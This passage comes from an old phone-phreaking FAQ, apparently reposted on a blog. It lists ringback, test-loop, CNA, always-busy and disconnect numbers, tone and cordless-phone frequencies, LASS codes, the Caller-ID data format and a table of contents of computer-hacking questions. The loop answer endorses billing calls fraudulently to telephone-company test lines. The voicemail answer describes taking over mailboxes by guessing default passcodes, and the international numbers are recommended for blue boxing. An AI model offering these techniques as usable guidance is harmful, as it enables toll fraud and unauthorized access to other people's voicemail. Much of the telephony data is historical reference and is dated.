other NPA's served by your telephone company.

Note: These geographic areas are for reference purposes only. Ringback
numbers may vary from switch to switch within the same city.

NPA Ringback number Approximate Geographic area
--- --------------- ---------------------------------------------
201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
202 958-xxxx District of Columbia
203 99?-xxxx CT
206 571-xxxx WA
N 208 59X-xxxx ID
208 99xxx-xxxx ID
N 210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE)
213 1-95x-xxxx Los Angeles, CA
N 214 971-xxxx Dallas, TX
215 811-xxxx Philadelphia, PA
216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH
219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
301 579-xxxx Hagerstown/Rockville, MD
301 958-xxxx Hagerstown/Rockville, MD
303 99X-xxxx Grand Junction, CO
304 998-xxxx WV
305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
312 511-xxxx Chicago, IL
312 511-xxx-xxxx Chicago, IL
312 57?-xxxx Chicago, IL
315 98x-xxxx Syracuse/Utica, NY
317 777-xxxx Indianapolis/Kokomo, IN
317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319 79x-xxxx Davenport/Dubuque, Iowa
334 901-xxxx Montgomery, AL
401 98?-xxxx RI
404 450-xxxx Atlanta, GA
407 988-xxxx Orlando/West Palm Beach, FL
408 470-xxxx San Jose, CA
408 580-xxxx San Jose, CA
412 985-xxxx Pittsburgh, PA
414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 350-xxxx San Francisco, CA
417 551-xxxx Joplin/Springfield, MO
501 221-xxx-xxxx AR
501 721-xxx-xxxx AR
502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
503 541-XXXX OR
504 99x-xxxx Baton Rouge/New Orleans, LA
504 9988776655 Baton Rouge/New Orleans, LA
505 59?-xxxx New Mexico
512 95X-xxxx Austin, TX
513 951-xxxx Cincinnati/Dayton, OH
513 955-xxxx Cincinnati/Dayton, OH
513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
N 515 559-XXXX Des Moines, IA
516 660-xxx-xxxx Hempstead/Long Island, NY
601 777-xxxx MS
609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ
610 811-xxxx Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
612 999-xxx-xxxx Minneapolis/St.Paul, MN
N 613 999-xxx-xxxx Ottawa, Ontario
614 998-xxxx Columbus/Steubenville, OH
615 920-XXXX Chatanooga/Knoxville/Nashville, TN
615 930-xxxx Chatanooga/Knoxville/Nashville, TN
616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI
619 331-xxxx San Diego, CA
619 332-xxxx San Diego, CA
N 659 981-XXXX Newmarket, NH
N 703 511-xxx-xxxx VA
703 958-xxxx Alexandria/Arlington/Roanoke, VA
708 511-xxxx Chicago/Elgin, IL
N 713 231-xxxx Los Angeles, CA
714 330? Anaheim, CA (GTE)
714 33?-xxxx Anaheim, CA (PacBell)
716 981-xxxx Rochester, NY (Rochester Tel)
718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
801 938-xxxx Utah
801 939-xxxx Utah
802 987-xxxx Vermont
804 260 Charlottesville/Newport News/Norfolk/Richmond, VA
805 114 Bakersfield/Santa Barbara, CA
805 980-xxxx Bakersfield/Santa Barbara, CA
810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
813 711 Ft. Meyers/St. Petersburg/Tampa, FL
817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
908 55?-xxxx New Brunswick, NJ
908 953 New Brunswick, NJ
913 951-xxxx Lawrence/Salina/Topeka, KS
914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY

Canada:
204 590-xxx-xxxx Manitoba
416 57x-xxxx Toronto, Ontario
416 99x-xxxx Toronto, Ontario
416 999-xxx-xxxx Toronto, Ontario
506 572+xxx-xxxx New Brunswick
514 320-xxx-xxxx Montreal, Quebec
519 999-xxx-xxxx London, Ontario
N 604 311-xxx-xxxx British Columbia
613 999-xxx-xxxx Ottawa, Ontario
705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario
N 819 320-xxx-xxxx Quebec
N 905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario

Australia: +61 199
Brazil: 109 or 199
N France: 3644
Holland: 99-xxxxxx
New Zealand: 137
Sweden: 0058
United Kingdom: 174 or 1744 or 175 or 0500-89-0011
N Amsterdam 0196
N Hilversum 0123456789
N Breukelen 0123456789
N Groningen 951

14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999. They are used by the phone company for testing. What
good do loops do us? Well, they are cool in a few ways. Here is a
simple use of loops. Each loop has two ends, a 'high' end, and a
'low' end. One end gives a (usually) constant, loud tone when it is
called. The other end is silent. Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop. Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you. Here's
what you can use working loops for: billing phone calls! First, call
the end that gives the loud tone. Then if the operator or someone
calls the other end, the tone will go quiet. Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever. The operator thinks that she just called you, and
that's it! Now the phone bill will go to the loop, and your local
RBOC will get the bill! Use this technique in moderation, or the loop
may go down. Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.

15. What is a loop in my area?

Many of these loops are no longer functional. If you are local
to any of these loops, please try them out an e-mail me the results
of your research.

NPA High Low
--- -------- --------
201 666-9929 666-9930
208 862-9996 862-9997
209 732-0044 732-0045
201 666-9929 666-9930
213 360-1118 360-1119
213 365-1118 365-1119
213 455-0002 455-XXXX
213 455-0002 455-xxxx
213 546-0002 546-XXXX
213 546-0002 546-xxxx
213 549-1118 549-1119
305 964-9951 964-9952
307 468-9999 468-9998
308 357-0004 357-0005
312 262-9902 262-9903
313 224-9996 224-9997
313 225-9996 225-9997
313 234-9996 234-9997
313 237-9996 237-9997
313 256-9996 256-9997
313 272-9996 272-9997
313 273-9996 273-9997
313 277-9996 277-9997
313 281-9996 281-9997
313 292-9996 292-9997
313 299-9996 299-9997
313 321-9996 321-9997
313 326-9996 326-9997
313 356-9996 356-9997
313 362-9996 362-9997
313 369-9996 369-9997
313 388-9996 388-9997
313 397-9996 397-9997
313 399-9996 399-9997
313 445-9996 445-9997
313 465-9996 465-9997
313 471-9996 471-9997
313 474-9996 474-9997
313 477-9996 477-9997
313 478-9996 478-9997
313 483-9996 483-9997
313 497-9996 497-9997
313 526-9996 526-9997
313 552-9996 552-9997
313 556-9996 556-9997
313 561-9996 561-9997
313 569-9996 569-9996
313 575-9996 575-9997
313 577-9996 577-9997
313 585-9996 585-9997
313 591-9996 591-9997
313 621-9996 621-9997
313 626-9996 626-9997
313 644-9996 644-9997
313 646-9996 646-9997
313 647-9996 647-9997
313 649-9996 649-9997
313 663-9996 663-9997
313 665-9996 665-9997
313 683-9996 683-9997
313 721-9996 721-9997
313 722-9996 722-9997
313 728-9996 728-9997
313 731-9996 731-9997
313 751-9996 751-9997
313 776-9996 776-9997
313 781-9996 781-9997
313 787-9996 787-9997
313 822-9996 822-9997
313 833-9996 833-9997
313 851-9996 851-9997
313 871-9996 871-9997
313 875-9996 875-9997
313 886-9996 886-9997
313 888-9996 888-9997
313 898-9996 898-9997
313 934-9996 934-9997
313 942-9996 942-9997
313 963-9996 963-9997
313 977-9996 977-9997
315 673-9995 673-9996
315 695-9995 695-9996
402 422-0001 422-0002
402 422-0003 422-0004
402 422-0005 422-0006
402 422-0007 422-0008
402 572-0003 572-0004
402 779-0004 779-0007
406 225-9902 225-9903
N 408 238-0044 238-0045
N 408 272-0044 272-0045
N 408 729-0044 729-0045
N 408 773-0044 773-0045
N 408 926-0044 926-0045
517 422-9996 422-9997
517 423-9996 423-9997
517 455-9996 455-9997
517 563-9996 563-9997
517 663-9996 663-9997
517 851-9996 851-9997
609 921-9929 921-9930
609 994-9929 994-9930
613 966-1111
616 997-9996 997-9997
708 724-9951 724-????
713 224-1499 759-1799
713 324-1499 324-1799
713 342-1499 342-1799
713 351-1499 351-1799
713 354-1499 354-1799
713 356-1499 356-1799
713 442-1499 442-1799
713 447-1499 447-1799
713 455-1499 455-1799
713 458-1499 458-1799
713 462-1499 462-1799
713 466-1499 466-1799
713 468-1499 468-1799
713 469-1499 469-1799
713 471-1499 471-1799
713 481-1499 481-1799
713 482-1499 482-1799
713 484-1499 484-1799
713 487-1499 487-1799
713 489-1499 489-1799
713 492-1499 492-1799
713 493-1499 493-1799
713 524-1499 524-1799
713 526-1499 526-1799
713 555-1499 555-1799
713 661-1499 661-1799
713 664-1499 664-1799
713 665-1499 665-1799
713 666-1499 666-1799
713 667-1499 667-1799
713 682-1499 976-1799
713 771-1499 771-1799
713 780-1499 780-1799
713 781-1499 997-1799
713 960-1499 960-1799
713 977-1499 977-1799
713 988-1499 988-1799
N 719 598-0009 598-0010
805 528-0044 528-0045
805 544-0044 544-0045
805 773-0044 773-0045
808 235-9907 235-9908
808 239-9907 239-9908
808 245-9907 245-9908
808 247-9907 247-9908
808 261-9907 261-9908
808 322-9907 322-9908
808 328-9907 328-9908
808 329-9907 329-9908
808 332-9907 332-9908
808 335-9907 335-9908
808 572-9907 572-9908
808 623-9907 623-9908
808 624-9907 624-9908
808 668-9907 668-9908
808 742-9907 742-9908
808 879-9907 879-9908
808 882-9907 882-9908
808 885-9907 885-9908
808 959-9907 959-9908
808 961-9907 961-9908
810 362-9996 362-9997
813 385-9971 385-xxxx
908 254-9929 254-9930
908 558-9929 558-9930
908 560-9929 560-9930
908 776-9930 776-9930

16. What is a CNA number?

CNA stands for Customer Name and Address. The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number. If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find its phone
number and then call the CNA operator to see who owns it and where
they live.

Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies. Two such companies are:

Unidirectory (900)933-3330
Telename (900)884-1212

Note that these are 900 numbers, and will cost you approximately one
dollar per minute.

If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public. The number is 796-9600. The cost is
$.35/call and can look up two numbers per call.

If you are in 415, Pacific Bell offers a public access CNL service at
(415)705-9299.

If you are in Bell Atlantic territory you can call (201)555-5454 or
(908)555-5454 for automated CNA information. The cost is $.50/call.

17. What is the telephone company CNA number for my area?

203 (203)771-8080 CT
312 (312)796-9600 Chicago, IL
506 (506)555-1313 New Brunswick
513 (513)397-9110 Cincinnati/Dayton, OH
516 (516)321-5700 Hempstead/Long Island, NY
614 (614)464-0123 Columbus/Steubenville, OH
813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
NYNEX (518)471-8111 New York, Connecticut, Vermont, Rhode
Island, New Hampshire, and Massachusetts

18. What are some numbers that always ring busy?

In the following listings, "xxx" means that the same number is used as a
constantly busy number in many different prefixes. In most of these,
there are some exchanges that ring busy and some exchanges that are in
normal use. *ALWAYS* test these numbers at least three times during
normal business hours before using as a constantly busy number.

N 800 999-1803 WATS
N 201 635-9970 Hackensack/Jersey City/Newark/Paterson, NJ
N 212 724-9970 Manhattan, NY
N 213 xxx-1117 Los Angeles, CA
N 213 xxx-1118 Los Angeles, CA
N 213 xxx-1119 Los Angeles, CA
N 213 xxx-9198 Los Angeles, CA
216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
303 431-0000 Denver, CO
303 866-8660 Denver, CO
N 310 xxx-1117 Long Beach, CA
N 310 xxx-1118 Long Beach, CA
N 310 xxx-1119 Long Beach, CA
N 310 xxx-9198 Long Beach, CA
316 952-7265 Dodge City/Wichita, KS
501 377-99xx AR
U 719 472-3772 Colorado Springs/Leadville/Pueblo, CO
805 255-0699 Bakersfield/Santa Barbara, CA
N 714 xxx-1117 Anaheim, CA
N 714 xxx-1118 Anaheim, CA
N 714 xxx-1119 Anaheim, CA
N 714 xxx-9198 Anaheim, CA
N 717 292-0009 Harrisburg/Scranton/Wilkes-Barre, PA
N 818 xxx-1117 Pasadena, CA
N 818 xxx-1118 Pasadena, CA
N 818 xxx-1119 Pasadena, CA
N 818 xxx-9198 Pasadena, CA
U 818 885-0699 Pasadena, CA (???-0699 is a pattern)
N 860 525-7078 Hartford, CT
906 632-9999 Marquette/Sault Ste. Marie, MI
906 635-9999 Marquette/Sault Ste. Marie, MI

19. What are some numbers that temporarily disconnect phone service?

If your NPA is not listed, or the listing does not cover your LATA,
try common numbers such as 119 (GTD5 switches) or 511.

314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)
404 420 Atlanta, GA (5 minutes)
405 953 Enid/Oklahoma City, OK (1 minute)
U 407 511 Orlando, FL (United Telephone) (1 minute)
N 414 958-0013 Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute)
512 200 Austin/Corpus Christi, TX (1 minute)
516 480 Hempstead/Long Island, NY (1 minute)
603 980 NH
614 xxx-9894 Columbus/Steubenville, OH
805 119 Bakersfield/Santa Barbara, CA (3 minutes)
919 211 or 511 Durham, NC (10 min - 1 hour)

20. What is a Proctor Test Set?

A Proctor Test Set is a tool used by telco personnel to diagnose
problems with phone lines. You call the Proctor Test Set number and
press buttons on a touch tone phone to active the tests you select.

21. What is a Proctor Test Set in my area?

If your NPA is not listed try common numbers such as 111 or 117.

805 111 Bakersfield/Santa Barbara, CA
909 117 Tyler, TX
913 611-1111 Lawrence/Salina/Topeka, KS

22. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer. Currently, the best war dialer available to
PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can
be ftp'd from ftp.paranoia.com /pub/toneloc/.

A war dialer will dial a range of numbers and log what it finds at
each number. You can then only dial up the numbers that the war
dialer marked as carriers or tones.

23. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

-BQ-
In some places, scanning has been made illegal. It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once. It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer. Some central offices have been
known to react strangely when people start scanning. Sometimes you're
unable to get a dialtone for hours after you start scanning. But
there is no uniform policy. The best thing to do is to first find out
if you've got some crazy law saying you can't do it. If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.
-EQ-

It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO. It is now illegal to place a call
in Colorado Springs without the intent to communicate.

24. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
(800)426-1194

Specialized Products
3131 Premier Drive
Irving, TX 75063
(800)866-5353

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303

25. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency. These are the tones you get
when you press a key on your telephone touch pad. The tone of the
button is the sum of the column and row tones. The ABCD keys do not
exist on standard telephones.

1209 1336 1477 1633

697 1 2 3 A

770 4 5 6 B

852 7 8 9 C

941 * 0 # D

26. What are the frequencies of the telephone tones?

Type Hz On Off
---------------------------------------------------------------------
Dial Tone 350 & 440 --- ---
Busy Signal 480 & 620 0.5 0.5
Toll Congestion 480 & 620 0.2 0.3
Ringback (Normal) 440 & 480 2.0 4.0
Ringback (PBX) 440 & 480 1.5 4.5
Reorder (Local) 480 & 620 3.0 2.0
Invalid Number 200 & 400
Hang Up Warning 1400 & 2060 0.1 0.1
Hang Up 2450 & 2600 --- ---

27. What are all of the * (LASS) codes?

Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:

(These appear to be standard, but may be changed locally)

Service Tone Pulse/rotary Notes
--------------------------------------------------------------------------
Assistance/Police *12 n/a [1]
Cancel forwarding *30 n/a [C1]
Automatic Forwarding *31 n/a [C1]
Notify *32 n/a [C1] [2]
Intercom Ring 1 (..) *51 1151 [3]
Intercom Ring 2 (.._) *52 1152 [3]
Intercom Ring 3 (._.) *53 1153 [3]
Extension Hold *54 1154 [3]
Customer Originated Trace *57 1157
Selective Call Rejection *60 1160 (or Call Screen)
Selective Distinct Alert *61 1161
Selective Call Acceptance *62 1162
Selective Call Forwarding *63 1163
ICLID Activation *65 1165
Call Return (outgoing) *66 1166
Number Display Blocking *67 1167 [4]
Computer Access Restriction *68 1168
Call Return (incoming) *69 1169
Call Waiting disable *70 1170 [4]
No Answer Call Transfer *71 1171
Usage Sensitive 3 way call *71 1171
Call Forwarding: start *72 or 72# 1172
Call Forwarding: cancel *73 or 73# 1173
Speed Calling (8 numbers) *74 or 74# 1174
Speed Calling (30 numbers) *75 or 75# 1175
Anonymous Call Rejection *77 1177 [5] [M: *58]
Call Screen Disable *80 1180 (or Call Screen) [M: *50]
Selective Distinct Disable *81 1181 [M: *51]
Select. Acceptance Disable *82 1182 [4] [7]
Select. Forwarding Disable *83 1183 [M: *53]
ICLID Disable *85 1185
Call Return (cancel out) *86 1186 [6] [M: *56]
Anon. Call Reject (cancel) *87 1187 [5] [M: *68]
Call Return (cancel in) *89 1189 [6] [M: *59]

Notes:

[C1] - Means code used for Cellular One service
[1] - for cellular in Pittsburgh, PA A/C 412 in some areas
[2] - indicates that you are not local and maybe how to reach you
[3] - found in Pac Bell territory; Intercom ring causes a distinctive
ring to be generated on the current line; Hold keeps a call
connected until another extension is picked up
[4] - applied once before each call
[5] - A.C.R. blocks calls from those who blocked Caller ID
(used in C&P territory, for instance)
[6] - cancels further return attempts
[7] - *82 (1182) has been mandated to be the nationwide code for
"Send CLID info regardless of the default setting on this
phone line."
[M: *xx] - alternate code used for MLVP (multi-line variety package)
by Bellcore. It goes by different names in different RBOCs.
In Bellsouth it is called Prestige. It is an arrangement of
ESSEX like features for single or small multiple line groups.

The reason for different codes for some features in MLVP is that
call-pickup is *8 in MLVP so all *8x codes are reassigned *5x

28. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.

Channel Handset Transmit Base Transmit
------- ---------------- -------------
1 49.670mhz 46.610mhz
2 49.845 46.630
3 49.860 46.670
4 49.770 46.710
5 49.875 46.730
6 49.830 46.770
7 49.890 46.830
8 49.930 46.870
9 49.990 46.930
10 49.970 46.970

The new "900mhz" cordless phones have been allocated the frequencies
between 902-228MHz, with channel spacing between 30-100KHz.

Following are some examples of the frequencies used by phones
currently on the market.

----------------------------------------------------------------
Panasonic KX-T9000 (60 Channels)
base 902.100 - 903.870 Base frequencies (30Khz spacing)
handset 926.100 - 927.870 Handset frequencies
CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET
-- ------- ------- -- ------- ------- -- ------- -------
01 902.100 926.100 11 902.400 926.400 21 902.700 926.700
02 902.130 926.130 12 902.430 926.430 22 902.730 926.730
03 902.160 926.160 13 902.460 926.460 23 902.760 926.760
04 902.190 926.190 14 902.490 926.490 24 902.790 926.790
05 902.220 926.220 15 902.520 926.520 25 902.820 926.820
06 902.250 926.250 16 902.550 926.550 26 902.850 926.850
07 902.280 926.280 17 902.580 926.580 27 902.880 926.880
08 902.310 926.310 18 902.610 926.610 28 902.910 926.910
09 902.340 926.340 19 902.640 926.640 29 902.940 926.940
10 902.370 926.370 20 902.670 926.670 30 902.970 926.970

31 903.000 927.000 41 903.300 927.300 51 903.600 927.600
32 903.030 927.030 42 903.330 927.330 52 903.630 927.630
33 903.060 927.060 43 903.360 927.360 53 903.660 927.660
34 903.090 927.090 44 903.390 927.390 54 903.690 927.690
35 903.120 927.120 45 903.420 927.420 55 903.720 927.720
36 903.150 927.150 46 903.450 927.450 56 903.750 927.750
37 903.180 927.180 47 903.480 927.480 57 903.780 927.780
38 903.210 927.210 48 903.510 927.510 58 903.810 927.810
39 903.240 927.240 49 903.540 927.540 59 903.840 927.840
40 903.270 927.270 50 903.570 927.570 60 903.870 927.870

------------------------------------------------------------

V-TECH TROPEZ DX900 (20 CHANNELS)
905.6 - 907.5 TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)
925.5 - 927.4 HANDSET FREQUENCIES

CH BASE HANDSET CH BASE HANDSET CH BASE HANDSET
-- ------- ------- -- ------- ------- -- ------- -------
01 905.600 925.500 08 906.300 926.200 15 907.000 926.900
02 905.700 925.600 09 906.400 926.300 16 907.100 927.000
03 905.800 925.700 10 906.500 926.400 17 907.200 927.100
04 905.900 925.800 11 906.600 926.500 18 907.300 927.200
05 906.000 925.900 12 906.700 926.600 19 907.400 927.300
06 906.100 926.000 13 906.800 926.700 20 907.500 927.400
07 906.200 926.100 14 906.900 926.800

------------------------------------------------------------
Other 900mhz cordless phones
AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ
OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ
SAMSUNG #SP-R912- - - 903.0 & 927.0 MHZ

------------------------------------------------------------

29. What is Caller-ID?

This FAQ answer is stolen from Rockwell:

Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first 4 second silent interval in the ringing
cycle.

Parameters
~~~~~~~~~~
The data signalling interface has the following characteristics:

Link Type: 2-wire, simplex
Transmission Scheme: Analog, phase-coherent FSK
Logical 1 (mark) 1200 +/- 12 Hz
Logical 0 (space) 2200 +/- 22 Hz
Transmission Rate: 1200 bps
Transmission Level: 13.5 +/- dBm into 900 ohm load

Protocol
~~~~~~~~
The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.

| Channel | Carrier | Message | Message | Data | Checksum |
| Seizure | Signal | Type | Length | Word(s) | Word |
| Signal | | Word | Word | | |

Channel Seizure Signal
~~~~~~~~~~~~~~~~~~~~~~
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).

Carrier Signal
~~~~~~~~~~~~~~
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.

Message Type Word
~~~~~~~~~~~~~~~~~
The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).

Message Length Word
~~~~~~~~~~~~~~~~~~~
The message length word specifies the total number of data words to
follow.

Data Words
~~~~~~~~~~
The data words are encoded in ASCII and represent the following
information:

o The first two words represent the month
o The next two words represent the day of the month
o The next two words represent the hour in local military time
o The next two words represent the minute after the hour
o The calling party's directory number is represented by the
remaining words in the data word field

If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".

Checksum Word
~~~~~~~~~~~~~
The Checksum Word contains the twos complement of the modulo 256 sum
of the other words in the data message (i.e., message type, message
length, and data words). The receiving equipment may calculate the
modulo 256 sum of the received words and add this sum to the received
checksum word. A result of zero generally indicates that the message
was correctly received. Message retransmission is not supported.

Example CNS Single Data Message
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An example of a received CND message, beginning with the message type
word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word

Data Access Arrangement (DAA) Requirements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.

Modem Requirements
~~~~~~~~~~~~~~~~~~
Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information. After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.

Signalling
~~~~~~~~~~
According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst

Applications
~~~~~~~~~~~~
Once CND information is received the user may process the information
in a number of ways.

1. The date, time, and calling party's directory number can be
displayed.

2. Using a look-up table, the calling party's directory number can be
correlated with his or her name and the name displayed.

3. CND information can also be used in additional ways such as for:

a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base

References
~~~~~~~~~~
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.

To obtain Bellcore documents contact:

Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ 08834-4196
(908) 699-5800

30. How do I block Caller-ID?

Always test as much as possible before relying on any method of blocking
Caller-ID. Some of these methods work in some areas, but not in others.

Dial *67 before you dial the number. (141 in the United Kingdom)
Dial your local TelCo and have them add Caller-ID block to your line.
Dial the 0 Operator and have him or her place the call for you.
Dial the call using a pre-paid phone card.
Dial through Security Consultants at (900)PREVENT for U.S. calls
($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).
Dial from a pay phone. :-)

31. What is a PBX?

A PBX is a Private Branch Exchange. A PBX is a small telephone switch
owned by a company or organization. Let's say your company has a
thousand employees. Without a PBX, you would need a thousand phone
lines. However, only 10% of your employees are talking on the phone
at one time. What if you had a computer that automatically found an
outside line every time one of your employees picked up the telephone.
With this type of system, you could get by with only paying for one
hundred phone lines. This is a PBX.

32. What is a VMB?

A VMB is a Voice Mail Box. A VMB is a computer that acts as an
answering machine for hundreds or thousands of users. Each user will
have their own Voice Mail Box on the system. Each mail box will have
a box number and a pass code.

Without a passcode, you will usually be able to leave messages to
users on the VMB system. With a passcode, you can read messages and
administer a mailbox. Often, mailboxes will exist that were created
by default or are no longer used. These mailboxes may be taken over
by guessing their passcode. Often the passcode will be the mailbox
number or a common number such as 1234.

33. What are the ABCD tones for?

The ABCD tones are simply additional DTFM tones that may be used in any
way the standard (0-9) tones are used. The ABCD tones are used in the
U.S. military telephone network (AutoVon), in some Automatic Call
Distributor (ACD) systems, for control messages in some PBX systems, and
in some amateur radio auto-patches.

In the AutoVon network, special telephones are equipped with ABCD keys.
The ABCD keys are defined as such:

A - Flash
B - Flash override priority
C - Priority communication
D - Priority override

Using a built-in maintenance mode of the Automatic Call Distributor
(ACD) systems once used by Directory Assistance operators, you could
connect two callers together.

The purpose of the Silver Box is to create the ABCD tones.

See also "What are the DTMF Frequencies?"

34. What are the International Direct Numbers?

The numbers are used so that you may connect to an operator from a
foreign telephone network, without incurring long distance charges.
These numbers may be useful in blue boxing, as many countries still have
older switching equipment in use.

Australia (800)682-2878
Austria (800)624-0043
Belgium (800)472-0032
Belize (800)235-1154
Bermuda (800)232-2067
Brazil (800)344-1055
British VI (800)278-6585
Cayman (800)852-3653
Chile (800)552-0056
China (Shanghai) (800)532-4462
Costa Rica (800)252-5114
Denmark (800)762-0045
El Salvador (800)422-2425
Finland (800)232-0358
France (800)537-2623
Germany (800)292-0049
Greece (800)443-5527
Guam (800)367-4826
HK (800)992-2323
Hungary (800)352-9469
Indonesia (800)242-4757
Ireland (800)562-6262
Italy (800)543-7662
Japan (800)543-0051
Korea (800)822-8256
Macau (800)622-2821
Malaysia (800)772-7369
Netherlands (800)432-0031
Norway (800)292-0047
New Zealand (800)248-0064
Panama (800)872-6106
Portugal (800)822-2776
Philippines (800)336-7445
Singapore (800)822-6588
Spain (800)247-7246
Sweden (800)345-0046
Taiwan (800)626-0979
Thailand (800)342-0066
Turkey (800)828-2646
UK (800)445-5667
Uruguay (800)245-8411
Yugoslavia (800)367-9842 (Belgrade)
367-9841 (Zagreb)
USA from outside (800)874-4000 Ext. 107

Refferensi Hacking 1-40

2009-07-05T10:36:00.004-07:00

Section A: Computers

01. How do I access the password file under Unix?
02. How do I crack Unix passwords?
03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
06. What are those weird characters after the comma in my passwd file?
07. How do I access the password file under VMS?
08. How do I crack VMS passwords?
09. What can be logged on a VMS system?
10. What privileges are available on a VMS system?
11. How do I break out of a restricted shell?
12. How do I gain root from a suid script or program?
13. How do I erase my presence from the system logs?
u 14. How do I send fakemail?
15. How do I fake posts and control messages to UseNet?
16. How do I hack ChanOp on IRC?
U 17. How do I modify the IRC client to hide my real username?
18. How to I change to directories with strange characters in them?
U 19. What is ethernet sniffing?
20. What is an Internet Outdial?
21. What are some Internet Outdials?
U 22. What is this system?
U 23. What are the default accounts for XXX ?
24. What port is XXX on?
25. What is a trojan/worm/virus/logic bomb?
26. How can I protect myself from viruses and such?
27. Where can I get more information about viruses?
28. What is Cryptoxxxxxxx?
29. What is PGP?
30. What is Tempest?
31. What is an anonymous remailer?
U 32. What are the addresses of some anonymous remailers?
33. How do I defeat copy protection?
34. What is 127.0.0.1?
35. How do I post to a moderated newsgroup?
U 36. How do I post to Usenet via e-mail?
37. How do I defeat a BIOS password?
N 38. What is the password for ?
